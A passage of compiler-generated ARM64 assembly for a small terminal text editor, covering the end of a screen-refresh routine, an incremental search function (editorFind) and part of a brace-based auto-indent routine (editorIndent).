adrp x4, l_.str.49@PAGE
add x4, x4, l_.str.49@PAGEOFF
bl ___snprintf_chk
ldr x9, [sp, #120] ; 8-byte Folded Reload
str w0, [sp, #168]
ldr w8, [sp, #172]
ldr w9, [x9, #20]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB27_38
b LBB27_37
LBB27_37:
ldr x8, [sp, #120] ; 8-byte Folded Reload
ldr w8, [x8, #20]
str w8, [sp, #172]
b LBB27_38
LBB27_38:
ldr w2, [sp, #172]
add x0, sp, #232
sub x1, x29, #232
bl _abAppend
b LBB27_39
LBB27_39: ; =>This Inner Loop Header: Depth=1
ldr x9, [sp, #120] ; 8-byte Folded Reload
ldr w8, [sp, #172]
ldr w9, [x9, #20]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB27_44
b LBB27_40
LBB27_40: ; in Loop: Header=BB27_39 Depth=1
ldr x8, [sp, #120] ; 8-byte Folded Reload
ldr w8, [x8, #20]
ldr w9, [sp, #172]
subs w8, w8, w9
ldr w9, [sp, #168]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB27_42
b LBB27_41
LBB27_41:
ldr w2, [sp, #168]
add x0, sp, #232
add x1, sp, #264
bl _abAppend
b LBB27_44
LBB27_42: ; in Loop: Header=BB27_39 Depth=1
add x0, sp, #232
adrp x1, l_.str.39@PAGE
add x1, x1, l_.str.39@PAGEOFF
mov w2, #1
bl _abAppend
ldr w8, [sp, #172]
add w8, w8, #1
str w8, [sp, #172]
b LBB27_43
LBB27_43: ; in Loop: Header=BB27_39 Depth=1
b LBB27_39
LBB27_44:
add x0, sp, #232
str x0, [sp, #64] ; 8-byte Folded Spill
adrp x1, l_.str.50@PAGE
add x1, x1, l_.str.50@PAGEOFF
mov w2, #6
bl _abAppend
ldr x0, [sp, #64] ; 8-byte Folded Reload
adrp x1, l_.str.45@PAGE
add x1, x1, l_.str.45@PAGEOFF
mov w2, #4
bl _abAppend
ldr x0, [sp, #128] ; 8-byte Folded Reload
bl _strlen
mov x8, x0
str w8, [sp, #164]
ldr w8, [sp, #164]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB27_50
b LBB27_45
LBB27_45:
mov x0, #0
bl _time
ldr x8, [sp, #120] ; 8-byte Folded Reload
ldr x8, [x8, #136]
subs x8, x0, x8
subs x8, x8, #5
cset w8, ge
tbnz w8, #0, LBB27_50
b LBB27_46
LBB27_46:
ldr x9, [sp, #120] ; 8-byte Folded Reload
ldr w8, [sp, #164]
ldr w9, [x9, #20]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB27_48
b LBB27_47
LBB27_47:
ldr w8, [sp, #164]
str w8, [sp, #60] ; 4-byte Folded Spill
b LBB27_49
LBB27_48:
ldr x8, [sp, #120] ; 8-byte Folded Reload
ldr w8, [x8, #20]
str w8, [sp, #60] ; 4-byte Folded Spill
b LBB27_49
LBB27_49:
ldr x1, [sp, #128] ; 8-byte Folded Reload
ldr w2, [sp, #60] ; 4-byte Folded Reload
add x0, sp, #232
bl _abAppend
b LBB27_50
LBB27_50:
ldr x9, [sp, #120] ; 8-byte Folded Reload
mov w8, #1
str w8, [sp, #156]
ldr w8, [x9, #8]
ldr w10, [x9, #4]
add w8, w8, w10
str w8, [sp, #152]
ldr w8, [sp, #152]
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB27_52
b LBB27_51
LBB27_51:
mov x8, #0
str x8, [sp, #48] ; 8-byte Folded Spill
b LBB27_53
LBB27_52:
ldr x8, [sp, #120] ; 8-byte Folded Reload
ldr x8, [x8, #32]
ldrsw x9, [sp, #152]
mov x10, #48
mul x9, x9, x10
add x8, x8, x9
str x8, [sp, #48] ; 8-byte Folded Spill
b LBB27_53
LBB27_53:
ldr x8, [sp, #48] ; 8-byte Folded Reload
str x8, [sp, #144]
ldr x8, [sp, #144]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB27_62
b LBB27_54
LBB27_54:
ldr x8, [sp, #120] ; 8-byte Folded Reload
ldr w8, [x8, #12]
str w8, [sp, #160]
b LBB27_55
LBB27_55: ; =>This Inner Loop Header: Depth=1
ldr x10, [sp, #120] ; 8-byte Folded Reload
ldr w8, [sp, #160]
adrp x9, _E@PAGE
ldr w9, [x9, _E@PAGEOFF]
ldr w10, [x10, #12]
add w9, w9, w10
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB27_61
b LBB27_56
LBB27_56: ; in Loop: Header=BB27_55 Depth=1
ldr w8, [sp, #160]
ldr x9, [sp, #144]
ldr w9, [x9, #4]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB27_59
b LBB27_57
LBB27_57: ; in Loop: Header=BB27_55 Depth=1
ldr x8, [sp, #144]
ldr x8, [x8, #16]
ldrsw x9, [sp, #160]
ldrsb w8, [x8, x9]
subs w8, w8, #9
cset w8, ne
tbnz w8, #0, LBB27_59
b LBB27_58
LBB27_58: ; in Loop: Header=BB27_55 Depth=1
ldr w8, [sp, #156]
mov w10, #8
sdiv w9, w8, w10
mul w9, w9, w10
subs w9, w8, w9
mov w8, #7
subs w9, w8, w9
ldr w8, [sp, #156]
add w8, w8, w9
str w8, [sp, #156]
b LBB27_59
LBB27_59: ; in Loop: Header=BB27_55 Depth=1
ldr w8, [sp, #156]
add w8, w8, #1
str w8, [sp, #156]
b LBB27_60
LBB27_60: ; in Loop: Header=BB27_55 Depth=1
ldr w8, [sp, #160]
add w8, w8, #1
str w8, [sp, #160]
b LBB27_55
LBB27_61:
b LBB27_62
LBB27_62:
ldr x8, [sp, #120] ; 8-byte Folded Reload
ldr w8, [x8, #4]
mov w9, #1
str w9, [sp, #36] ; 4-byte Folded Spill
add w11, w8, #1
ldr w9, [sp, #156]
; implicit-def: $x8
mov x8, x9
mov x9, sp
; implicit-def: $x10
mov x10, x11
str x10, [x9]
str x8, [x9, #8]
sub x0, x29, #56
str x0, [sp, #24] ; 8-byte Folded Spill
mov x3, #32
mov x1, x3
mov w2, #0
adrp x4, l_.str.27@PAGE
add x4, x4, l_.str.27@PAGEOFF
bl ___snprintf_chk
ldr x0, [sp, #24] ; 8-byte Folded Reload
bl _strlen
ldr x1, [sp, #24] ; 8-byte Folded Reload
mov x2, x0
add x0, sp, #232
str x0, [sp, #40] ; 8-byte Folded Spill
bl _abAppend
ldr x0, [sp, #40] ; 8-byte Folded Reload
adrp x1, l_.str.51@PAGE
add x1, x1, l_.str.51@PAGEOFF
mov w2, #6
bl _abAppend
ldr w0, [sp, #36] ; 4-byte Folded Reload
ldr x1, [sp, #232]
ldrsw x2, [sp, #240]
bl _write
ldr x0, [sp, #40] ; 8-byte Folded Reload
bl _abFree
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB27_64
b LBB27_63
LBB27_63:
bl ___stack_chk_fail
LBB27_64:
add sp, sp, #560
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.globl _editorFind ; -- Begin function editorFind
.p2align 2
_editorFind: ; @editorFind
.cfi_startproc
; %bb.0:
sub sp, sp, #432
.cfi_def_cfa_offset 432
stp x28, x27, [sp, #400] ; 16-byte Folded Spill
stp x29, x30, [sp, #416] ; 16-byte Folded Spill
add x29, sp, #416
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
adrp x8, _E@PAGE
str x8, [sp, #24] ; 8-byte Folded Spill
adrp x8, _E@PAGE
add x8, x8, _E@PAGEOFF
str x8, [sp, #32] ; 8-byte Folded Spill
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str w0, [sp, #128]
add x0, sp, #135
mov x1, #257
bl _bzero
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldr x8, [sp, #32] ; 8-byte Folded Reload
str wzr, [sp, #124]
mov w10, #-1
str w10, [sp, #120]
str wzr, [sp, #116]
str w10, [sp, #112]
; kill: def $x10 killed $xzr
str xzr, [sp, #104]
ldr w9, [x9, _E@PAGEOFF]
str w9, [sp, #100]
ldr w9, [x8, #4]
str w9, [sp, #96]
ldr w9, [x8, #12]
str w9, [sp, #92]
ldr w8, [x8, #8]
str w8, [sp, #88]
b LBB28_1
LBB28_1: ; =>This Loop Header: Depth=1
; Child Loop BB28_36 Depth 2
mov x9, sp
add x8, sp, #135
str x8, [x9]
adrp x0, l_.str.52@PAGE
add x0, x0, l_.str.52@PAGEOFF
bl _editorSetStatusMessage
bl _editorRefreshScreen
ldr w0, [sp, #128]
bl _editorReadKey
str w0, [sp, #84]
ldr w8, [sp, #84]
subs w8, w8, #1004
cset w8, eq
tbnz w8, #0, LBB28_4
b LBB28_2
LBB28_2: ; in Loop: Header=BB28_1 Depth=1
ldr w8, [sp, #84]
subs w8, w8, #8
cset w8, eq
tbnz w8, #0, LBB28_4
b LBB28_3
LBB28_3: ; in Loop: Header=BB28_1 Depth=1
ldr w8, [sp, #84]
subs w8, w8, #127
cset w8, ne
tbnz w8, #0, LBB28_7
b LBB28_4
LBB28_4: ; in Loop: Header=BB28_1 Depth=1
ldr w8, [sp, #124]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB28_6
b LBB28_5
LBB28_5: ; in Loop: Header=BB28_1 Depth=1
ldr w8, [sp, #124]
subs w9, w8, #1
str w9, [sp, #124]
add x8, sp, #135
add x8, x8, w9, sxtw
strb wzr, [x8]
b LBB28_6
LBB28_6: ; in Loop: Header=BB28_1 Depth=1
mov w8, #-1
str w8, [sp, #120]
b LBB28_32
LBB28_7: ; in Loop: Header=BB28_1 Depth=1
ldr w8, [sp, #84]
subs w8, w8, #27
cset w8, eq
tbnz w8, #0, LBB28_9
b LBB28_8
LBB28_8: ; in Loop: Header=BB28_1 Depth=1
ldr w8, [sp, #84]
subs w8, w8, #13
cset w8, ne
tbnz w8, #0, LBB28_18
b LBB28_9
LBB28_9:
ldr w8, [sp, #84]
subs w8, w8, #27
cset w8, ne
tbnz w8, #0, LBB28_11
b LBB28_10
LBB28_10:
ldr x9, [sp, #32] ; 8-byte Folded Reload
ldr w8, [sp, #100]
adrp x10, _E@PAGE
str w8, [x10, _E@PAGEOFF]
ldr w8, [sp, #96]
str w8, [x9, #4]
ldr w8, [sp, #92]
str w8, [x9, #12]
ldr w8, [sp, #88]
str w8, [x9, #8]
b LBB28_11
LBB28_11:
b LBB28_12
LBB28_12:
ldr x8, [sp, #104]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB28_14
b LBB28_13
LBB28_13:
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x9, [x8, #32]
ldrsw x11, [sp, #112]
mov x10, #48
mul x11, x11, x10
add x9, x9, x11
ldr x0, [x9, #32]
ldr x1, [sp, #104]
ldr x8, [x8, #32]
ldrsw x9, [sp, #112]
mul x9, x9, x10
add x8, x8, x9
ldrsw x2, [x8, #8]
mov x3, #-1
bl ___memcpy_chk
; kill: def $x8 killed $xzr
str xzr, [sp, #104]
b LBB28_14
LBB28_14:
b LBB28_15
LBB28_15:
adrp x0, l_.str.29@PAGE
add x0, x0, l_.str.29@PAGEOFF
bl _editorSetStatusMessage
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB28_17
b LBB28_16
LBB28_16:
bl ___stack_chk_fail
LBB28_17:
ldp x29, x30, [sp, #416] ; 16-byte Folded Reload
ldp x28, x27, [sp, #400] ; 16-byte Folded Reload
add sp, sp, #432
ret
LBB28_18: ; in Loop: Header=BB28_1 Depth=1
ldr w8, [sp, #84]
subs w8, w8, #1001
cset w8, eq
tbnz w8, #0, LBB28_20
b LBB28_19
LBB28_19: ; in Loop: Header=BB28_1 Depth=1
ldr w8, [sp, #84]
subs w8, w8, #1003
cset w8, ne
tbnz w8, #0, LBB28_21
b LBB28_20
LBB28_20: ; in Loop: Header=BB28_1 Depth=1
mov w8, #1
str w8, [sp, #116]
b LBB28_30
LBB28_21: ; in Loop: Header=BB28_1 Depth=1
ldr w8, [sp, #84]
subs w8, w8, #1000
cset w8, eq
tbnz w8, #0, LBB28_23
b LBB28_22
LBB28_22: ; in Loop: Header=BB28_1 Depth=1
ldr w8, [sp, #84]
subs w8, w8, #1002
cset w8, ne
tbnz w8, #0, LBB28_24
b LBB28_23
LBB28_23: ; in Loop: Header=BB28_1 Depth=1
mov w8, #-1
str w8, [sp, #116]
b LBB28_29
LBB28_24: ; in Loop: Header=BB28_1 Depth=1
ldr w0, [sp, #84]
bl _isprint
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB28_28
b LBB28_25
LBB28_25: ; in Loop: Header=BB28_1 Depth=1
ldr w8, [sp, #124]
subs w8, w8, #256
cset w8, ge
tbnz w8, #0, LBB28_27
b LBB28_26
LBB28_26: ; in Loop: Header=BB28_1 Depth=1
ldr w9, [sp, #84]
ldrsw x10, [sp, #124]
mov x8, x10
add w8, w8, #1
str w8, [sp, #124]
add x8, sp, #135
strb w9, [x8, x10]
ldrsw x9, [sp, #124]
add x8, x8, x9
strb wzr, [x8]
mov w8, #-1
str w8, [sp, #120]
b LBB28_27
LBB28_27: ; in Loop: Header=BB28_1 Depth=1
b LBB28_28
LBB28_28: ; in Loop: Header=BB28_1 Depth=1
b LBB28_29
LBB28_29: ; in Loop: Header=BB28_1 Depth=1
b LBB28_30
LBB28_30: ; in Loop: Header=BB28_1 Depth=1
b LBB28_31
LBB28_31: ; in Loop: Header=BB28_1 Depth=1
b LBB28_32
LBB28_32: ; in Loop: Header=BB28_1 Depth=1
ldr w8, [sp, #120]
adds w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB28_34
b LBB28_33
LBB28_33: ; in Loop: Header=BB28_1 Depth=1
mov w8, #1
str w8, [sp, #116]
b LBB28_34
LBB28_34: ; in Loop: Header=BB28_1 Depth=1
ldr w8, [sp, #116]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB28_57
b LBB28_35
LBB28_35: ; in Loop: Header=BB28_1 Depth=1
; kill: def $x8 killed $xzr
str xzr, [sp, #72]
str wzr, [sp, #68]
ldr w8, [sp, #120]
str w8, [sp, #60]
str wzr, [sp, #64]
b LBB28_36
LBB28_36: ; Parent Loop BB28_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr x9, [sp, #32] ; 8-byte Folded Reload
ldr w8, [sp, #64]
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB28_46
b LBB28_37
LBB28_37: ; in Loop: Header=BB28_36 Depth=2
ldr w9, [sp, #116]
ldr w8, [sp, #60]
add w8, w8, w9
str w8, [sp, #60]
ldr w8, [sp, #60]
adds w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB28_39
b LBB28_38
LBB28_38: ; in Loop: Header=BB28_36 Depth=2
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr w8, [x8, #24]
subs w8, w8, #1
str w8, [sp, #60]
b LBB28_42
LBB28_39: ; in Loop: Header=BB28_36 Depth=2
ldr x9, [sp, #32] ; 8-byte Folded Reload
ldr w8, [sp, #60]
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB28_41
b LBB28_40
LBB28_40: ; in Loop: Header=BB28_36 Depth=2
str wzr, [sp, #60]
b LBB28_41
LBB28_41: ; in Loop: Header=BB28_36 Depth=2
b LBB28_42
LBB28_42: ; in Loop: Header=BB28_36 Depth=2
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x8, [x8, #32]
ldrsw x9, [sp, #60]
mov x10, #48
mul x9, x9, x10
add x8, x8, x9
ldr x0, [x8, #24]
add x1, sp, #135
bl _strstr
str x0, [sp, #72]
ldr x8, [sp, #72]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB28_44
b LBB28_43
LBB28_43: ; in Loop: Header=BB28_1 Depth=1
ldr x9, [sp, #32] ; 8-byte Folded Reload
ldr x8, [sp, #72]
ldr x9, [x9, #32]
ldrsw x10, [sp, #60]
mov x11, #48
mul x10, x10, x11
add x9, x9, x10
ldr x9, [x9, #24]
subs x8, x8, x9
; kill: def $w8 killed $w8 killed $x8
str w8, [sp, #68]
b LBB28_46
LBB28_44: ; in Loop: Header=BB28_36 Depth=2
b LBB28_45
LBB28_45: ; in Loop: Header=BB28_36 Depth=2
ldr w8, [sp, #64]
add w8, w8, #1
str w8, [sp, #64]
b LBB28_36
LBB28_46: ; in Loop: Header=BB28_1 Depth=1
str wzr, [sp, #116]
b LBB28_47
LBB28_47: ; in Loop: Header=BB28_1 Depth=1
ldr x8, [sp, #104]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB28_49
b LBB28_48
LBB28_48: ; in Loop: Header=BB28_1 Depth=1
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x9, [x8, #32]
ldrsw x11, [sp, #112]
mov x10, #48
mul x11, x11, x10
add x9, x9, x11
ldr x0, [x9, #32]
ldr x1, [sp, #104]
ldr x8, [x8, #32]
ldrsw x9, [sp, #112]
mul x9, x9, x10
add x8, x8, x9
ldrsw x2, [x8, #8]
mov x3, #-1
bl ___memcpy_chk
; kill: def $x8 killed $xzr
str xzr, [sp, #104]
b LBB28_49
LBB28_49: ; in Loop: Header=BB28_1 Depth=1
b LBB28_50
LBB28_50: ; in Loop: Header=BB28_1 Depth=1
ldr x8, [sp, #72]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB28_56
b LBB28_51
LBB28_51: ; in Loop: Header=BB28_1 Depth=1
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x8, [x8, #32]
ldrsw x9, [sp, #60]
mov x10, #48
mul x9, x9, x10
add x8, x8, x9
str x8, [sp, #48]
ldr w8, [sp, #60]
str w8, [sp, #120]
ldr x8, [sp, #48]
ldr x8, [x8, #32]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB28_53
b LBB28_52
LBB28_52: ; in Loop: Header=BB28_1 Depth=1
ldr w8, [sp, #60]
str w8, [sp, #112]
ldr x8, [sp, #48]
ldrsw x0, [x8, #8]
bl _malloc
str x0, [sp, #104]
ldr x0, [sp, #104]
ldr x8, [sp, #48]
ldr x1, [x8, #32]
ldr x8, [sp, #48]
ldrsw x2, [x8, #8]
mov x3, #-1
str x3, [sp, #16] ; 8-byte Folded Spill
bl ___memcpy_chk
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x8, [sp, #48]
ldr x8, [x8, #32]
ldrsw x9, [sp, #68]
add x0, x8, x9
ldrsw x2, [sp, #124]
mov w1, #8
bl ___memset_chk
b LBB28_53
LBB28_53: ; in Loop: Header=BB28_1 Depth=1
ldr x9, [sp, #32] ; 8-byte Folded Reload
str wzr, [x9, #4]
ldr w10, [sp, #68]
adrp x8, _E@PAGE
str w10, [x8, _E@PAGEOFF]
ldr w10, [sp, #60]
str w10, [x9, #8]
str wzr, [x9, #12]
ldr w8, [x8, _E@PAGEOFF]
ldr w9, [x9, #20]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB28_55
b LBB28_54
LBB28_54: ; in Loop: Header=BB28_1 Depth=1
ldr x9, [sp, #32] ; 8-byte Folded Reload
adrp x10, _E@PAGE
ldr w8, [x10, _E@PAGEOFF]
ldr w11, [x9, #20]
subs w8, w8, w11
str w8, [sp, #44]
ldr w11, [sp, #44]
ldr w8, [x10, _E@PAGEOFF]
subs w8, w8, w11
str w8, [x10, _E@PAGEOFF]
ldr w10, [sp, #44]
ldr w8, [x9, #12]
add w8, w8, w10
str w8, [x9, #12]
b LBB28_55
LBB28_55: ; in Loop: Header=BB28_1 Depth=1
b LBB28_56
LBB28_56: ; in Loop: Header=BB28_1 Depth=1
b LBB28_57
LBB28_57: ; in Loop: Header=BB28_1 Depth=1
b LBB28_1
.cfi_endproc
; -- End function
.globl _editorIndent ; -- Begin function editorIndent
.p2align 2
_editorIndent: ; @editorIndent
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-8]
stur wzr, [x29, #-20]
str wzr, [sp, #24]
str wzr, [sp, #20]
bl _getchar
stur w0, [x29, #-4]
b LBB29_1
LBB29_1: ; =>This Loop Header: Depth=1
; Child Loop BB29_74 Depth 2
; Child Loop BB29_69 Depth 2
; Child Loop BB29_62 Depth 2
; Child Loop BB29_55 Depth 2
; Child Loop BB29_39 Depth 2
; Child Loop BB29_43 Depth 2
; Child Loop BB29_26 Depth 2
; Child Loop BB29_30 Depth 2
; Child Loop BB29_10 Depth 2
; Child Loop BB29_14 Depth 2
; Child Loop BB29_18 Depth 2
ldur w8, [x29, #-4]
adds w8, w8, #1
cset w8, eq
tbnz w8, #0, LBB29_96
b LBB29_2
LBB29_2: ; in Loop: Header=BB29_1 Depth=1
ldur w8, [x29, #-4]
subs w8, w8, #10
cset w8, eq
tbnz w8, #0, LBB29_4
b LBB29_3
LBB29_3: ; in Loop: Header=BB29_1 Depth=1
ldur w8, [x29, #-4]
subs w8, w8, #9
cset w8, ne
tbnz w8, #0, LBB29_5
b LBB29_4
LBB29_4: ; in Loop: Header=BB29_1 Depth=1
bl _getchar
stur w0, [x29, #-4]
b LBB29_1
LBB29_5: ; in Loop: Header=BB29_1 Depth=1
ldur w8, [x29, #-4]
subs w8, w8, #125
cset w8, eq
tbnz w8, #0, LBB29_8
b LBB29_6
LBB29_6: ; in Loop: Header=BB29_1 Depth=1
ldur w8, [x29, #-20]
subs w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB29_8
b LBB29_7
LBB29_7: ; in Loop: Header=BB29_1 Depth=1
mov w0, #9
bl _putchar
str wzr, [sp, #24]
b LBB29_8
LBB29_8: ; in Loop: Header=BB29_1 Depth=1
ldur w8, [x29, #-4]
subs w8, w8, #123
cset w8, ne
tbnz w8, #0, LBB29_24
b LBB29_9
LBB29_9: ; in Loop: Header=BB29_1 Depth=1
mov w0, #10
bl _putchar
stur wzr, [x29, #-16]
b LBB29_10
LBB29_10: ; Parent Loop BB29_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-16]
ldur w9, [x29, #-8]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB29_13
b LBB29_11
LBB29_11: ; in Loop: Header=BB29_10 Depth=2
mov w0, #9
bl _putchar
b LBB29_12
LBB29_12: ; in Loop: Header=BB29_10 Depth=2
ldur w8, [x29, #-16]
add w8, w8, #1
stur w8, [x29, #-16]
b LBB29_10
LBB29_13: ; in Loop: Header=BB29_1 Depth=1
mov w0, #123
bl _putchar
ldur w8, [x29, #-8]
add w8, w8, #1
stur w8, [x29, #-8]
mov w0, #10
bl _putchar
stur wzr, [x29, #-12]
b LBB29_14
LBB29_14: ; Parent Loop BB29_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-12]
ldur w9, [x29, #-8]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB29_17
b LBB29_15
LBB29_15: ; in Loop: Header=BB29_14 Depth=2
mov w0, #9
bl _putchar
b LBB29_16
LBB29_16: ; in Loop: Header=BB29_14 Depth=2
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB29_14
LBB29_17: ; in Loop: Header=BB29_1 Depth=1
bl _getchar
stur w0, [x29, #-4]
b LBB29_18
LBB29_18: ; Parent Loop BB29_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-4]
subs w8, w8, #32
cset w8, eq
mov w9, #1
str w9, [sp, #16] ; 4-byte Folded Spill
tbnz w8, #0, LBB29_21
b LBB29_19
LBB29_19: ; in Loop: Header=BB29_18 Depth=2
ldur w8, [x29, #-4]
subs w8, w8, #10
cset w8, eq
mov w9, #1
str w9, [sp, #16] ; 4-byte Folded Spill
tbnz w8, #0, LBB29_21
b LBB29_20
LBB29_20: ; in Loop: Header=BB29_18 Depth=2
ldur w8, [x29, #-4]
subs w8, w8, #9
cset w8, eq
str w8, [sp, #16] ; 4-byte Folded Spill
b LBB29_21
LBB29_21: ; in Loop: Header=BB29_18 Depth=2
ldr w8, [sp, #16] ; 4-byte Folded Reload
tbz w8, #0, LBB29_23
b LBB29_22
LBB29_22: ; in Loop: Header=BB29_18 Depth=2
bl _getchar
stur w0, [x29, #-4]
b LBB29_18
LBB29_23: ; in Loop: Header=BB29_1 Depth=1
mov w8, #1
str w8, [sp, #24]
b LBB29_93
LBB29_24: ; in Loop: Header=BB29_1 Depth=1
ldur w8, [x29, #-4]
subs w8, w8, #125
cset w8, ne
tbnz w8, #0, LBB29_36
b LBB29_25
LBB29_25: ; in Loop: Header=BB29_1 Depth=1
ldur w8, [x29, #-8]
subs w8, w8, #1
stur w8, [x29, #-8]
mov w0, #125
bl _putchar
mov w0, #10
bl _putchar
stur wzr, [x29, #-12]
b LBB29_26
LBB29_26: ; Parent Loop BB29_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-12]
ldur w9, [x29, #-8]
subs w9, w9, #1
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB29_29
b LBB29_27
LBB29_27: ; in Loop: Header=BB29_26 Depth=2
mov w0, #9
bl _putchar
b LBB29_28
LBB29_28: ; in Loop: Header=BB29_26 Depth=2
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB29_26
LBB29_29: ; in Loop: Header=BB29_1 Depth=1
bl _getchar
stur w0, [x29, #-4]
b LBB29_30
LBB29_30: ; Parent Loop BB29_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-4]
subs w8, w8, #32
cset w8, eq
mov w9, #1
str w9, [sp, #12] ; 4-byte Folded Spill
tbnz w8, #0, LBB29_33
b LBB29_31
LBB29_31: ; in Loop: Header=BB29_30 Depth=2
ldur w8, [x29, #-4]
subs w8, w8, #10
cset w8, eq
mov w9, #1
str w9, [sp, #12] ; 4-byte Folded Spill
tbnz w8, #0, LBB29_33
b LBB29_32
LBB29_32: ; in Loop: Header=BB29_30 Depth=2
ldur w8, [x29, #-4]
subs w8, w8, #9
cset w8, eq
str w8, [sp, #12] ; 4-byte Folded Spill
b LBB29_33
LBB29_33: ; in Loop: Header=BB29_30 Depth=2
ldr w8, [sp, #12] ; 4-byte Folded Reload
tbz w8, #0, LBB29_35
b LBB29_34
LBB29_34: ; in Loop: Header=BB29_30 Depth=2
bl _getchar
stur w0, [x29, #-4]
b LBB29_30
LBB29_35: ; in Loop: Header=BB29_1 Depth=1
mov w8, #1
str w8, [sp, #24]
b LBB29_92
LBB29_36: ; in Loop: Header=BB29_1 Depth=1
ldur w8, [x29, #-4]
subs w8, w8, #59
cset w8, ne
tbnz w8, #0, LBB29_51
b LBB29_37
LBB29_37: ; in Loop: Header=BB29_1 Depth=1
mov w0, #59
bl _putchar
ldr w8, [sp, #20]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB29_49
b LBB29_38
LBB29_38: ; in Loop: Header=BB29_1 Depth=1
mov w0, #10
bl _putchar
stur wzr, [x29, #-12]
b LBB29_39
LBB29_39: ; Parent Loop BB29_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-12]
ldur w9, [x29, #-8]
subs w9, w9, #1
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB29_42
b LBB29_40
LBB29_40: ; in Loop: Header=BB29_39 Depth=2
mov w0, #9
bl _putchar
b LBB29_41
LBB29_41: ; in Loop: Header=BB29_39 Depth=2
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB29_39
LBB29_42: ; in Loop: Header=BB29_1 Depth=1
bl _getchar
stur w0, [x29, #-4]
b LBB29_43
LBB29_43: ; Parent Loop BB29_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-4]
subs w8, w8, #32
cset w8, eq
mov w9, #1
str w9, [sp, #8] ; 4-byte Folded Spill
tbnz w8, #0, LBB29_46
b LBB29_44
LBB29_44: ; in Loop: Header=BB29_43 Depth=2
ldur w8, [x29, #-4]
subs w8, w8, #10
cset w8, eq
mov w9, #1
str w9, [sp, #8] ; 4-byte Folded Spill
tbnz w8, #0, LBB29_46
b LBB29_45
LBB29_45: ; in Loop: Header=BB29_43 Depth=2
ldur w8, [x29, #-4]
subs w8, w8, #9
cset w8, eq
str w8, [sp, #8] ; 4-byte Folded Spill
b LBB29_46
LBB29_46: ; in Loop: Header=BB29_43 Depth=2
ldr w8, [sp, #8] ; 4-byte Folded Reload
tbz w8, #0, LBB29_48
b LBB29_47
LBB29_47: ; in Loop: Header=BB29_43 Depth=2
bl _getchar
stur w0, [x29, #-4]
b LBB29_43
LBB29_48: ; in Loop: Header=BB29_1 Depth=1
mov w8, #1
str w8, [sp, #24]
stur w8, [x29, #-20]
b LBB29_50
LBB29_49: ; in Loop: Header=BB29_1 Depth=1
str wzr, [sp, #24]
b LBB29_50
LBB29_50: ; in Loop: Header=BB29_1 Depth=1
b LBB29_91
LBB29_51: ; in Loop: Header=BB29_1 Depth=1
ldur w8, [x29, #-4]
subs w8, w8, #39
cset w8, ne
tbnz w8, #0, LBB29_58
b LBB29_52
